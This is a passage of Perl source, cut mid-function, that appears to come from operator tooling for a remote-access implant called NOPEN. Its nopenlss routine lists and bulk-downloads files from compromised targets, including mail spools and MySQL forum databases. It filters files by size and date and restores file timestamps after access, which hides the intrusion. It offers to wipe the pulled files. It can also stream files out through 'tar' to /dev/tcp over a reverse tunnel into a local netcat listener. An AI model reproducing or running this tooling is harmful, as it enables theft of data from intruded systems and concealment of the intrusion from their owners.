	  push(@touchlist,$newone2) if $getpreservetime;
	}
      }
    }
    last if (-f $forcelssstop);
    if ($list or %chilidirs) {
      if (!$secondtime and ($checksize or $getempty)) {
	my ($output,$nopenlines,@lines) = ();
	#	if ($lslist) {
	#	  @lines = @lslist;
	#	} else {
	#	  ($output,$nopenlines,@lines) = doit("-ls -R $list");
	#	}
	($output,$nopenlines,@lines) = doit("-ls -R $list");
	processnopenls(\@newlist,($tailbytes or $headbytes),$getempty,$maxsize,$output,$nopenlines,@lines) ;
	#	dbg("Bottom of outer loop if ($list) with ".
	#	    " newlist=(@newlist)");
      } else {
	last if ($maxdownload and ((bwsofar())[0] >= $maxdownload));
	last if (-f $forcelssstop);
	#dbg("Getting:
	
	
	#wipeafter=$wipeafter=
	#withoutprompt=$withoutprompt=
	
	#");
	if (%chilidirs) {
	  foreach my $chilidir (keys %chilidirs) {
	    doit("\\-chili $chiliopts $chilidir $chilidirs{$chilidir}");
	    delete $chilidirs{$chilidir} ;
	  }
	} elsif ($viatar) {
	  mydie("Local LISTENER on $viatar not there after 30 seconds, aborting")
	    unless waitonlocalport($viatar,30);
	  if ($solaristarget) {
	    ($viataroutput) = doit("ksh -c \"tar -cvf - $list > /dev/tcp/127.0.0.1/$viatar\"");
	  } else {
	    ($viataroutput) = doit("tar -cvf - $list > /dev/tcp/127.0.0.1/$viatar");
	  }
	  #TODO: Check this output for errors?
	} else {
	    if ($list) {
		if ($getpreservetime) {
		    filetimesave(@touchlist);
		}
		doit("-get $newoptions $list") ;
		if ($getpreservetime) {
		    filetimeresets(@touchlist);
		}
	    }
	    offerwipe("${withoutprompt}CONFIRMSIZE",@gotfiles) if $wipeafter;
	}
      }
    }
  }
  #dbg("nopengotfiles=(\n".join("\n",@nopengotfiles)."\n)");
  #dbg("ourfilespulled=(\n".join("\n",@ourfilespulled)."\n)");
# NOTHING WAS USING THIS BEFORE:

  if ($chiliopts and !$oldlocaldir and %chilidirs) {
    my $more = "   ./".join("\n   ./",keys %chilidirs);

    my ($ans) = mygetinput
      ("Your -chili mailpull went to $opdown/$nopen_rhostname/\n".
       "in these relative paths:\n\n".
       $more.
       "Do you want $prog to move these files to $opmail?","Y");
    if ($ans = "y") {
      my $results = "";
      foreach my $maildir (%chilidirs) {
        $results .= `mv -v $maildir $opmail 2>&1` ;
      }
      mygetinput("DONE MOVING THESE:\n\n$results\n\n".
                "Press Enter to continue") if $results;
    }
  }

  return scalar @gotfiles;
#  return scalar $tailedsome;
}#nopengetfiles()

sub processnopenls {
  # Given array @$listptr,
  # a boolean $getempty,
  # a positive $max size (ignored if negative)
  # and doit() output from a -ls (recursive or otherwise),
  #
  # we put filenames into @$listptr
  # only when nonemtpy unless $getempty==true
  # only when their size is at most $max (ignoring size if $max < 0)
  # (ignoring all LINKS).
  # All files are tasked if $max is 0.
  # RETURNS: Total size of all targets fitting criteria.
  local ($listptr,$capsize,$getempty,$max,$lsoutput,$nopenlines,@lsoutput) = (@_);
  my $stopdate = $nopenlines if ($nopenlines =~ /^\d{8}$/);

  my $totalsize = 0;
  #dbg("in processnopenls($listptr,$capsize,$getempty,$max,$lsoutput,$nopenlines,lines=".scalar @lsoutput."\n\n\n(($lsoutput))
  #lsoutput=(@lsoutput)
  #stopdate=$stopdate=
  
  #");
  foreach my $line (@lsoutput) {
    #dbg("line=$line=");
    $line =~ s/^\s*//g;
    $line =~ s,\033\[0;39m,,g;
    $line =~ s,\033\[2;31m,,g;
    my ($type,$inodes,$user,$group,$size,$monstr,
	$mday,$hm,$y,$filename,@morefilename)
      = split (/\s+/,$line);
    $filesizes{$filename} = $size;
    $filedates{$filename} = "$y$mon$mday";
#JAN 2013: Maybe too much memory? TODO
#    $fileperms{$filename} = $type;
#    $filetypes{$filename} = substr($type,0,1);
#    $filetypes{$filename} = 'f' if $filetypes{$filename} eq '-';
    my $mon=sprintf("%02d",1+$nummon{$monstr});
    $mday=sprintf("%02d",$mday);
    $y = sprintf("%04d",$y);
    if (@morefilename) {
      # Filename has spaces in it, escape them
      $filename .= "\\ ".join("\\ ",@morefilename);
    }
    my ($h,$m) = split(/:/,$hm);
    #offerabort("
    #    my ($type,$inodes,$user,$group,$size,$monstr,
    #	$mday/cu,$h,$m,$y,$filename) hm=$hm
    #");
    $type = substr($type,0,1);
    # TODO: MAYBE do links?
    #    ($filename,$linkedto) = $filename =~ /(.*) -\. (.*)[\r\n]*/;
    #dbg("type=$type Checking    if ($size <= $max) {");
    next unless ($type eq "-");
    #    dbg("type=$type filename=$filename= size=$size max=$max getempty=$getampty");
    if ($targetcwd =~ m,^/, and
	$filename  !~ m,^/,) {
      my $newpath = "$targetcwd/$filename";
      $newpath =~ s,/+,/,g;
      $newpath =~ s,/\./,/,g;
      $newpath =~ s,/[^/]+/\.\./([^/]+),/$1,g;
      $filesizes{$newpath} = $size;
      $filedates{$newpath} = "$y$mon$mday";
    }
#dbg("Got file=$filename=
#size=$size=
#targetcwd=$targetcwd=
#ymonmday=$y$mon$mday=
#filesizes{$filename}=$filesizes{$filename}=
#filedates{both $filename andmaybe $targetcwd/$filename} =$y$mon$mday=

#");
    # If called without $listptr, we just want to set the $filesizes{} entries.
    next unless $listptr;
    # We only put the file in if ALL of these true
    # 1) We are pulling empty files or this file is non-empty AND
    # 2) Either this file is below our $max or there is no $max size AND
    # 3) Either $stopdate is not set or this $filedates{$filename} lt $stopdate
    if (($size <= $max or $max <= 0 or $capsize > 0) and
	($getempty or $size > 0) and
	(!$stopdate or $filedates{$filename} le $stopdate)
       ) {
      #dbg("Pushing      push(@$listptr,$filename);");
      push(@$listptr,$filename) ;
      if ($capsize) {
	$size = $max if $max < $size;
      }
      $totalsize += int($size);
    }
  }
  return $totalsize;
}#processnopenls()

sub nopenlss {

  # nopenlss(): Wrapper to NOPEN builtin -ls, adding some filtering and
  #   counting options. Can be called as a function, which will allow
  #   autodone to be made more automated.
  #   This subroutine has to use the main::@ARGV global so it can call
  #   getopts. If no local @_ is given, we use @ARGV. This is how
  #   autolss will call nopenlss(), replacing the older style automation
  #   autolss used to use.
  #   NEW: -Q/quiet option does not show sorting, but returns it like doit():
  #   my ($output,$nopenlines,@output) = nopenlss();

  mydie("Cannot use nopenlss() unless \$socket is open")
    unless defined $socket and $pilotstarted;
  ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid,
   $serverver,$targetwdir,$targetos,$targetcwd,$targetpid,$targetppid,$targetport,$localport)
    =  parsestatus();
#  local($suboptionsandpaths,@morepaths) = (@_);
  my ($ouropts,$sum,$outfile,$warnings,$morefile,@files,@allfiles,
      $sizeoutput,$outmore,$preserved,$lsoptions,@resetargv,
      $lssoutput,$lssnopenlines,@lssoutput,@longerlssoutput,
      $cmdoutfile,$extra1,$skippedgot,@skippedgot,$moregreps,  # $skippedgot is populated whether -G or not
      %exprspositive,%exprsnegative,
      $datematch,%datestamp,
      @wipethesehere,$withoutprompt,
      $cksum,$completingpartial,$sumadjustment,$skipdupes,
      $viatar,$lsstarproc,
      $getlocaldir,$oldlocaldir,
      $nosendpath,$nosendpathdir,$nosendmysqlforumtag,
     ) = ();
  #dbg("Before ARGV=@ARGV= _=@_=");
  # Must use the global @ARGV for Getopts to see it
  if (@_) {
    @resetargv=@ARGV;
    @ARGV=@_;
    $resetargv++;
  }
  dbg("After  ARGV=@ARGV= _=@_=");
#  my @ARGV = (@_);
#dbg("DEFINING SIG{__WARN__}");
  BEGIN { $SIG{'__WARN__'} = 
	    sub {
	      #dbg("In WARN_Sub(@_)");
	      $warnings .= "@_\n"; 
	    }
	  }
#  ( "zf:FD1ichuRtx:L" ) ; # old way: ( "zf:hFS" ) ;
  clearallopts();
  my @preoptsargv = @ARGV;
  my ($moresqlargs,$moresql) = "@preoptsargv" =~ m,^([^/]+)(.*),;
  $moresqlargs = "-gs lss $moresqlargs";
  $moresql =~ s, /,\n  $moresqlargs /,g;
  $moresql = $moresqlargs . $moresql;
  Getopts( "zf:Fdn1ichuRtx:QaGM:ZYO:m:rT:g:V:b:oUPwWl:s:E:DNHpL:S:kAKC:45:80q" ) ;
  mydie("You can only tag MYSQL forums one at a time, run one -gs lss per directory, e.g.:\n\n  ".
	$moresql
	)
      if ($opt_q and @ARGV > 1);
  $opt_G++ if $opt_L; # -L implies -G
  ($nosendpath,$nosendpathdir) = ($1,$2) if ($opt_L =~ m,^(NOSEND(.*)),);
  $nosendpathdir =~ s,/+,/,g;
  $nosendpathdir =~ s,/$,,g;
  my $recursels = "-R" if $opt_R;# Special to make unique tmpfile
  if ($opt_G and $ARGV[0]  =~ m,^/+var/+lib/+mysql/+,) {
      my ($ans) = mygetinput
	  ("Do you want to tag $ARGV[0] as a MYSQL web forum?","Y") unless $opt_q;
      $opt_q++ if ($ans = "y");
      $nosendmysqlforumtag = "/MYSQLForums" if ($ans = "y" or $opt_q);
      my $thispath = $ARGV[0];
      $thispath =~ s,/+,/,g;
      $thispath =~ s,/$,,g;
      if ($opt_L) {
	  if ($opt_L =~ m,(/.*),) {
	      
	  }
	  if ($thispath ne $nosendpathdir) {
	      my ($ans) = mygetinput
		  ("Normally the local directory when recursively pulling a single PATH from /var/lib/mysql/\n".
		   "you should use the option \"-LNOSEND$nosendmysqlforumtag$thispath\".\n\n".
		   "Is that what you want to do (answer Y, n or abort)?","Y","A","ABORT"
		   ) unless $opt_q;
	      $opt_L = "NOSEND$nosendmysqlforumtag$thispath" if ($ans eq "y" or $opt_q);
	  }
      } else {
	  #TODO: Ask them to turn on -L
	  my ($ans) = mygetinput
	      ("Normally when recursively pulling a single PATH from /var/lib/mysql/\n".
	       "you should use \"-LNOSEND$nosendmysqlforumtag$thispath\".\n\n".
	       "Is that what you want to do (answer Y, n or abort)?","Y","A","ABORT"
	       ) unless $opt_q;
	  mydie("User aborted") if ($ans eq "a");
	  if ($ans eq "y" or $opt_q) {
	      $opt_L = "NOSEND$nosendmysqlforumtag$thispath";
	      mydie("You must do each /var/lib/mysql PATH separately so each gets its own\n".
		    "-LNOSEND$nosendmysqlforumtag/PATH/.  Run separate commands, one per directory.")
		  if (@ARGV > 1);
	  }
      }
      ($nosendpath,$nosendpathdir) = ($1,$2) if ($opt_L =~ m,^(NOSEND(.*)),);
  }

  my $getpreservetime =  ($opt_G and $opt_8) ? "GETPRESERVETIME" : "" ;
#  $opt_F++ if $opt_P;
#  dbg("After Getopts  ARGV=@ARGV= _=@_=");
  my $chiliopts = "";
  if (!$opt_x and $opt_C =~ /-x[mac]\s*\S+/) {
    mydie("When using -C with no special arguments, you must put an \"X\" placeholder in after the -C\n");
  }
  if ($opt_x) {
    my $nextarg = $ARGV[0];
    # Remove long parts of month, if there, in opt_x and $nextarg;
    $opt_x =~ s,/,-,g;
    $nextarg =~ s,/,-,g;
    $opt_x =~ s,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)[^-]*,$1,i;
    $nextarg =~ s,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)[^-]*,$1,i;

    # default to -xm if the [mac] part is missing
    my $ltr = "m";
    if ($opt_x =~ s,^([mac]),,) {
      $ltr = $1;
      unless (length $opt_x) {
        $opt_x = $nextarg;
	shift @ARGV;
      }
    }
    if ($opt_x =~
        s,^([mac])(\d+|Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)-(\d+|Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)-(\d+)$,$2-$3-$4,) {
      $ltr = $1;
    }

    if ($opt_x !~ /^(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec|\d+)-/i) {
      mywarn("Malformed -ls -x[mac] option, starting at: -x$opt_x @ARGV");
      return;
    }

    $opt_x = datefix($opt_x);
    unless ($opt_x  =~ m,^(\d+-\d+-\d\d+)$,) {
      mywarn("Argument following -x$ltr must be a date (MM-DD-YYYY)");
      return;
    }
    $opt_x = "$ltr $opt_x";
    ($datematch) = $opt_x =~ /(\d\d-\d\d-\d\d\d\d)/;

  }

  if ($opt_C) {
    my $C = $opt_C;
    # Remove spaces, convert / and \ to -.
    $C =~ s,\s,,g;
    $C =~ s,[/\\],-,g;

    # -l option is optional--user may want to do a mv
    # after -lss -C is done
    if ($C =~ s,-l,,) {
      $opt_L = "$opdown/mailpull/$nopen_rhostname"
        unless ($opt_L);
      $chiliopts .= "-l";
    }
    $C =~ s,x,,i;
    # Separate -m or -s digits from date digits
#    $C =~ s,-([ms])(\d+)(\d\d)-,-$1$2 $3-,;
    while ($C =~ m,-([ms])(\d+),) {
      my ($l,$s) = ($1,$2);
      if ($C =~ m,-.(\d+)\d\d-,) {
        $s = $1;
      }
      $chiliopts .= " -$l $s";
      $C =~ s,-$l$s\s*,,;
    }
    mydie("You must use a -x[mac] date with -C/chili option")
      unless ($opt_x);

#    $C =~ s,\d+-\d+-\d+,,;
    my ($date) = $opt_x =~ /(\d\d-\d\d-\d\d\d\d)/;
    $chiliopts .= " $date";

    mydie("Malformed -chili arguments: -C $opt_C
date=$date=
chiliopts=$chiliopts=
C=$C=
")
      unless ($C eq "" and $date);

    # Resuming partial chili not an option, ignore silently
    $opt_p++;
    # Wiping chili mail? caring about dupes? No, blindly ignore -D and -N and -K and -0
    undef $opt_D;
    undef $opt_N;
    undef $opt_K;
    undef $opt_0;
    mydie("-C -chili option requires FULL PATHS to each target file")
      if (grep m,^\s*[^/], , @ARGV);
  }

  # re-set $SIG{WARN} normal warnings again
  BEGIN { $SIG{'__WARN__'} = sub { warn $_[0] } }
# dbg("warnings=$warnings=");

  # $ouropts shown to user in nopenls($ouropts)
  $quiet = $opt_Q;
  $append = $opt_a;
  $skiplsstamp = $opt_k;
  if ($opt_K) {
      $skipdupes = "SKIPDUPES";
      $skipdupes .= "NOCOPY" if $opt_0;
  }
  $donotprompt = $opt_Y;
  $withoutprompt = "WITHOUTPROMPT" if $opt_N;

  $opt_d++ if $opt_4;
  $ouropts .= "4" if $opt_4;
  $ouropts .= "5" if $opt_5;
  $ouropts .= "a" if $opt_a;
  $ouropts .= "A" if $opt_A;
  $ouropts .= "D" if $opt_D;
  $ouropts .= "F" if $opt_F;
  $ouropts .= "G" if $opt_G;
  $ouropts .= "h" if $opt_h;
  $ouropts .= "H" if $opt_H;
  $ouropts .= "k" if $opt_k;
  $ouropts .= "K" if $opt_K;
  $ouropts .= "N" if $opt_N;
  $ouropts .= "o" if $opt_o;
  $ouropts .= "p" if $opt_p;
  $ouropts .= "P" if $opt_P;
  $ouropts .= "Q" if $opt_Q;
  $ouropts .= "r" if $opt_r;
  $ouropts .= "U" if $opt_U;
  $ouropts .= "w" if $opt_w;
  $ouropts .= "W" if $opt_W;
  $ouropts .= "Y" if $opt_Y;
  $ouropts .= "z" if $opt_z;
  $ouropts .= "Z" if $opt_Z;

  $ouropts = " -$ouropts" if $ouropts;

  $ouropts .= " -A $opt_A" if $opt_A;
  $ouropts .= " -B $opt_B" if $opt_B;
  $ouropts .= " -C $opt_C" if $opt_C;
  $ouropts .= " -E $opt_E" if $opt_E;
  $ouropts .= " -f $opt_f" if $opt_f;
  $ouropts .= " -g $opt_g" if $opt_g;
  $ouropts .= " -l $opt_l" if $opt_l;
  $ouropts .= " -m $opt_m" if $opt_m;
  $ouropts .= " -M $opt_M" if $opt_M;
  $ouropts .= " -O $opt_O" if $opt_O;
  $ouropts .= " -s $opt_s" if $opt_s;
  $ouropts .= " -S $opt_S" if $opt_S;
  $ouropts .= " -T $opt_T" if $opt_T;
  $ouropts .= " -V $opt_V" if $opt_V;
  $ouropts .= " -b $opt_b" if $opt_b;
  $ouropts .= " -q $opt_q" if $opt_q;

# NEVERMIND:  -B/A for prefix/suffix $opt_B $opt_A
  # $lsoptions forwarded onto -ls if we have any
  #1ichuRtx: We can stick all but -x[mac] MM-DD-YYYY together

  if ($prog =~ /(auto|-gs )lss/ and ($opt_i or $opt_1)) {
    mydie("Do not use -i or -1 with $prog");
  }
  if ($opt_1 or $opt_i) {
    # Seilently clear these for other things that call nopenlss(),
    # they are not to be used with lss.
    undef $opt_i;
    undef $opt_1;
  }
  $lsoptions .= "1" if $opt_1;
  $lsoptions .= "c" if $opt_c;
  $lsoptions .= "d" if $opt_d;
  $lsoptions .= "h" if $opt_h;
  $lsoptions .= "i" if $opt_i;
  $lsoptions .= "n" if $opt_n;
  $lsoptions .= "R" if $opt_R;
  $lsoptions .= "t" if $opt_t;
  $lsoptions .= "u" if $opt_u;

  $lsoptions = " -$lsoptions" if $lsoptions;
  mydie("Using -ls option -R with -d makes no sense")
    if ($opt_R and $opt_d);
  if ($opt_L =~ m,^NOSEND,) {
      $opt_L = "$opdown/NOSEND/$nopen_rhostname";
      $opt_L .= $nosendpathdir if ($nosendpathdir =~ m,^/+,) ;
      `mkdir -p $opt_L` unless (-d $opt_L);
      writefile("APPEND","$opdown/NOSEND/$nopen_rhostname/MYSQLdirs.via-lss","$nosendpathdir\n")
	  if $nosendmysqlforumtag;
  }
  ($getlocaldir,$oldlocaldir) = $opt_L;
  my $filemore = " (it is a file)" if -f $getlocaldir;
  if ($getlocaldir =~ m,^NOSEND(.*),) {
      $getlocaldir = "$opdown/NOSEND/$nopen_rhostname";
      $getlocaldir .= $1 if ($1 =~ m,^/.+,);
      mydie("Local directory $getlocaldir cannot be made, it exists now as a file")
	  if (-f $getlocaldir);
      `mkdir -p $getlocaldir`;
      mydie("Local directory $getlocaldir cannot be made, unknown why")
	  unless (-d $getlocaldir);
  } else {
      mydie("Local directory $getlocaldir must exist$filemore")
	  unless (!$getlocaldir or -d $getlocaldir);
  }
  mydie("-L $getlocaldir must already exist or start with \"NOSEND\"")
    unless (!$getlocaldir or -d $getlocaldir);
  my $resumeifpartial = !$opt_p;
  my $findinpath = ($opt_P or $opt_w or $opt_W);
  my $reusels = !$opt_U;
  $reusels = 0 if $findinpath;
  my $reusewarning = "";
  my $oneperline = ($opt_K or $opt_o);
  mydie("invalid -b option, must be \"tail\" or \"head\"")
      if ($opt_b and !(($opt_b eq "tail") or ($opt_b eq "head")));
  my $tailbytes = 1 if ($opt_b eq "tail");
  my $headbytes = 1 if ($opt_b eq "head");
  my $findinpathglob = $opt_w;
  my $findinpathglobboth = $opt_W;
  my $forcereget = "FORCEREGET" if $opt_r;
  my $popem = $opt_P;
  my $returndirs = $opt_A;
#dbg("popem=$popem forcereget=$forcereget=");

  ($nocasepositive,$opt_g) = $opt_g =~ /(I:){0,1}(.*)/;
  ($nocasenegative,$opt_V) = $opt_V =~ /(I:){0,1}(.*)/;
  # Nevermind this "Insensitive" thing was hokey, just I: will do.
#  my ($filecaseg,$filecaseV) = ("Insensitive","Insensitive");
  my @exprspositive = readarrayfrom($opt_g,\$filecaseg);
  my @exprsnegative = readarrayfrom($opt_V,\$filecaseV);
  $nocasepositive = $filecaseg if $filecaseg;
  $nocasenegative = $filecaseV if $filecaseV;
  mydie("-g $nocasepositive$opt_g seems to be a local filename and yet does not exist")
    if (($opt_g =~ m,^/current/, or $opt_g =~ m,^../,) and
	!@exprspositive);
  mydie("-V $nocasenegative$opt_V seems to be a local filename and yet does not exist")
    if (($opt_V =~ m,^/current/, or $opt_V =~ m,^../,) and
	!@exprsnegative);
  @exprspositive =  split(/,,/,$opt_g) unless -f $opt_g;
  @exprsnegative =  split(/,,/,$opt_V) unless -f $opt_V;
  my $maxdownload = $opt_T if $opt_T =~ /^\d+(\.[\d]+){0,1}$/ and $opt_T > 0;
  my $maxsize = int($opt_M) if $opt_M =~ /^\d+$/;
  my $minsize = int($opt_m) if $opt_m =~ /^\d+$/;
  mydie("-m/M options ($opt_m/$opt_M) must be integers") if
    (($opt_M and !(length $maxsize)) or
     ($opt_m and !(length$minsize)));
  mydie("-T $opt_T option must be a positive number") if
    (($opt_T and !(length $maxdownload)));
  mydie("-l $opt_l must be a non-empty local file")
    unless (!$opt_l or (-f $opt_l and -s _));
  mydie("-s $opt_s not valid, must be 0 < N <= M")
    unless (!$opt_s or
	    ($opt_s =~ /^(\d+),(\d+)$/ and $1 <= $2 and $1 > 0));
  my ($mysplitpart,$splitcount) = ($1,$2) if $opt_s;
  my $skipempty = $opt_Z;
  $outmore .= ", nonempty" if $skipempty;
  $outmore .= ", size <= $maxsize bytes"
    if ($maxsize and !($tailbytes or $headbytes));
  $outmore .= ", getting tail $maxsize bytes of  files"
    if ($maxsize and $tailbytes);
  $outmore .= ", getting head $maxsize bytes of files"
    if ($maxsize and $headbytes);
  $outmore .= ", size >= $minsize bytes"
    if $minsize;
  $outmore .= ", size <= $maxsize and >= $minsize bytes"
    if $maxsize and $minsize;
  my ($wipeafter,$offerget,$tarfile)=();
  if ($opt_G) {
    $viatar = $opt_4;
    $opt_5 = int($opt_5) if ($opt_5 > 0 and $opt_5 < 65000);
    $viatar = $opt_5 if $opt_5;
    $offerget++;
    $wipeafter="WIPEAFTER" if $opt_D;
    if ($tarfile = $opt_E) {
      if ($splitcount > 1 and $mysplitpart > 1) {
	# Silently ignore the -E in all but part 1
	$tarfile = "";
#	# Silently ignore the -D delete option in all but part 1
#	$wipeafter = "";
      }
      mydie("-E $tarfile : Option cannot contain / (it will be put in $opdir)")
	if ($tarfile =~ m,/,);
    }
  } else {
    mydie("-D cannot be used without -G") if $opt_D;
    mydie("-4 cannot be used without -G") if $opt_4;
  }
  my ($startepoch,$stopepoch,$startdate) = ();
  my $stopdate = $opt_S;
  if ($stopdate) {
    # NOTE: Not Y3K compliant. hehe
    my $tmpdate;
    if ($stopdate =~ m,^(\d+)[/-](\d+)[/-](\d\d+)$,) {
      $tmpdate = "0$1-0$2-20$3";
      $tmpdate =~ s,\d\d(\d\d\d\d)$,\1,g;
      $tmpdate =~ s,0(\d\d)-,\1-,g;
      $tmpdate =~ s,-,/,g;
    }

    unless ($tmpdate =~ m,^(\d\d[/-]\d\d[/-]\d\d\d\d)$,) {
      mywarn("Malformed stop date option: -S $opt_S\n".
	     " (should be MM-DD-YYYY format)");
      return ();
    }
    $stopdate = "$3$1$2"
      if ($tmpdate =~ m,(\d\d)/(\d\d)/(\d\d\d\d),);
    mywarn("DBG: date -d $tmpdate +\%s 2>&1");
    chomp($stopepoch = `date -d $tmpdate +\%s 2>&1`);
  }
  if ($opt_x) {
    my ($type) = $opt_x =~ /^([mac])/;
    $opt_x =~ s,/,-,g if $opt_x =~ m,(\d\d/\d\d/\d\d\d\d)$,;
    $type = "m" unless $type;
    $opt_x = "${type} 0$1-0$2-20$3"
      if ($opt_x =~ m#(\d+)[/-](\d+)[/-](\d\d+)$#);
    $opt_x =~ s,\d\d(\d\d\d\d)$,\1,g;
    $opt_x =~ s,0(\d\d)-,\1-,g;
    ($startdate) = $opt_x =~  m,(\d\d-\d\d-\d\d\d\d)$,;
#    my ($type,$date) = $opt_x =~ /\s*([mac]){0,1}\s*(\d\d-\d\d-\d\d\d\d)/;
#    $startdate = $date;
    $lsoptions .= " -x$type $startdate" if $startdate;
    if ($stopdate) {
      my $tmpdate = $startdate;
      $tmpdate =~ s,-,/,g;
mywarn("DBG: date -d \"$tmpdate\" +\%s 2>&1");
      chomp($startepoch = `date -d "$tmpdate" +\%s 2>&1`);
      mydie("The -S date ($opt_S) must be later than the -x date ($startdate)")
	unless $stopepoch >= $startepoch;
    }
  }
  if ($stopdate) {

    mywarn(".\n".
	   "DBG: startdate=$startdate startepoch=$startepoch\n".
	   "DBG: stopdate =$stopdate stopepoch =$stopepoch");
#    return();
  }

  $sum = $opt_z;
  $filesonly = $opt_F;
  $filesonly++ if ($offerget);
#  $filesonly++ if ($offerget or $maxsize or $minsize or $skipempty);
  $outmore .= ", files only" if $filesonly;
  $outmore .= ", last $maxsize bytes per file" if ($maxsize and $tailbytes);
  $outmore .= ", first $maxsize bytes per file" if ($maxsize and $headbytes);
#  $nodirs = $opt_D;
  if ($cmdoutfile = $opt_O) {
    mydie("-O $cmdoutfile : must be a full path to a file not a directory")
      if (-d $cmdoutfile);
    mydie("-O $cmdoutfile : must be a full path that already exists")
      if ($cmdoutfile =~ m,^[^/], or
	  ! (-d dirname $cmdoutfile));
    preservefile($cmdoutfile);
    doit("-cmdout $cmdoutfile");
  }
  if ($outfile = $opt_f) {
    my $dir = dirname $outfile;
#    dbg("dir=$dir outfile=$outfile: ".$outfile =~ m,^[^/],);
    mydie("-f $outfile : must be a full path to a file not a directory")
      if (-d $outfile);
    mydie("-f $outfile : must be a full path that already exists")
      if ($outfile =~ m,^[^/], or
	  ! (-d dirname $outfile));
    unless ($append) {
      $preserved = "\n(previous copy renamed to $preserved)"
	if ($preserved) = preservefile($outfile);
      open(LSSOUTFILE,">$outfile") or mydie("Cannot open >$outfile:$!\n");
    } else {
      open(LSSOUTFILE,">>$outfile") or mydie("Cannot open >>$outfile:$!\n");
    }
  }
#  preservefile($tmpfile); # take out later?
  my $PATHS = "";
  my @dodirs = ();
  my $finaloutput = "";
  my $skippedrsync = 0;
  if ($findinpath) {
    my @targfiles = uniqify_array(@ARGV);
    my ($output,$nopenlines,@env) = doit("-getenv");
    my ($path) = $output =~ /PATH=(\S+)/;
    newhostvar("host_path{$nopen_mypid}",$path);
    my @paths = split(/:/,$path);
    foreach $path (@paths) {
      $path =~ s,/+$,,;
      foreach my $targfile (@targfiles) {
	if ($targfile =~ m,^/,) {
	  push(@dodirs,$targfile);
	  next;
	}
	if ($findinpathglob) {
	  push @dodirs,"$path/$targfile*";
	} elsif ($findinpathglobboth) {
	  push @dodirs,"$path/*$targfile*";
	} else {
	  push @dodirs,"$path/$targfile";
	}
      }
    }
  } else {
    foreach (@ARGV) {
      # CONSIDER: next unless (length $_);
      $_ = "$targetcwd/$_"
	unless (m,^\s*/,);
      s,/\./,/,g;
      s,/[^/]+/\.\./([^/]+),/$1,g;
      s,/+,/,g;
      push(@dodirs,$_);
    }
  }


  if ($opt_l) {
    mydie("-l $opt_l must be a file") unless -f $opt_l;
    @dodirs = readpathsfromfile($opt_l);
  }

  if ($viatar) {
    my $port = $viatar;
    $port = myrand() unless ($opt_5 =~ /^\d+$/);
    my ($portcount,$more,$there) = (0,"",1);
    while (1) {
      if ($opt_5 =~ /^\d+$/ and $there ) {
	$more = "\n\n\nUsing pre-defined reverse tunnel, confirmed it is there";
      } else {
	unless ($more) {
	  $port = myrand();
	  $portcount++;
	}
	my ($output) = doit("netstat -an | egrep \"LISTEN(\$| )\" | egrep \"(.\|:)$port \"");
	mydie("This is very odd. Checked $portcount different ports, all are remotely bound. Bailing.")
	  if ($portcount > 50);
	next if $output;
	offerabort($COLOR_FAILURE.$more.
		   $COLOR_NORMAL."\n\n".
		   "-lss -G4 requires a return tunnel from $nopen_rhostname.\n\n".
		   "In another window on $nopen_rhostname, set up this tunnel:\n\n".
		   "-tunnel\n".
		   "r $port\n"
		  );
      }
      my ($output) = doit("netstat -an 2>/dev/null | egrep \"LISTEN(\$| )\" 2>/dev/null | egrep \"(.\|:)$port \" 2>/dev/null");
      $viatar = $port;
      last if $output;
      $more = "\n\nYou MUST set up that reverse tunnel to continue.";
      $there = 0;
    }
    progprint("DBG: WTF: output=$output=");
    
    if ($opt_5 =~ /^\d+$/) {
      progprint($COLOR_FAILURE.$more);
    }
    $lsstarproc = "$optmp/lsstarproc.$$";
    if (!fork()) {
      # Start netcat child, never returns
      mydie("Cannot write to $lsstarproc")
	unless (open(LSSOUTTAR,">$lsstarproc"));
      print LSSOUTTAR <<EOF ;
#!/bin/bash
cd $opdown/$nopen_rhostname || exit
echo -e "Local tar process on port $viatar, ready for duty,"
echo -e "will exit when $lsstarproc.stop is touched (by lss, usually).\n\n"
while ( [ ! -f "$lsstarproc.stop" ] ) ; do
  nc -s 127.0.0.1 -vv -l -p $viatar | tar xvf -
  echo -en "\n\n\n\n\nFiles now in $opdown/$nopen_rhostname: "
  find . -type f | wc -l
  date
done
ls -l  $lsstarproc.stop
rm -vf $lsstarproc.stop
echo -en "\n\n\n\nDONE. You can ^C to close this window..."
while true ; do sleep 1 ; done
EOF
      exec("1x -title \"-lss_-G4_${nopen_hostonly}_now_catching_tar_content_from_tunnel_on_$viatar\" ".
	 "-geometry 128x67+1302+26 -e /bin/bash $lsstarproc");

      exit;
    }
  }


  # ASSERT: nopenlss options checking done


  @dodirs = uniqify_array(@dodirs);
  $PATHS = "@dodirs";
  $PATHS = "MULTIPLE_PATHS" if length($PATHS) > 100;
  
  # The $cksum gives us a unique and short filename per list of 
  # $lsoptions@dodirs (where list is in the same order, same -ls
  # options are used).
  chomp($cksum = `echo "$lsoptions@dodirs" | md5sum`);
  $cksum =~ s/[-\s]//g;
  # $tmpfile is unique per "@dodirs" and with/without -R/recurse
  my $tmpfile = "$nopen_rhostname.lss$recursels.$cksum";
  $tmpfile =~ s,[ /\\],_,g;
  $tmpfile = "$optmp/$tmpfile";
  #dbg("
  #dodirs=(\n ".join("\n ",@dodirs)."\n)
  #inside new nopenlss()
  #f=$opt_f
  #tmpfile=$tmpfile
  #");
  if (!$splitcount or 
      ($splitcount > 1 and $mysplitpart == 1)) {

    my $dolist = "";
    ($lssoutput,$lssnopenlines,@lssoutput) = ();
    if ($reusels and -s $tmpfile) {
      my $age =int(100*( -M $tmpfile ) * 24 * 60 + 5)/100;
      my $these = "these";
      my $paths = "paths";
      unless (@dodirs > 1) {
	$paths = "path";
	$these = "this";
      }
      progprint($reusewarning = "$COLOR_FAILURE\n\n".
		"Re-using previous -ls of $these $paths ($PATHS) from $age minutes ago.\n".
		"Use -U to disable this $prog feature") unless $quiet;
      ($lssoutput,$lssnopenlines,@lssoutput) =
	reusefile($tmpfile,"# -ls$lsoptions @dodirs");
      $lssnopenlines = "# OLD DATA: $age minutes ago";
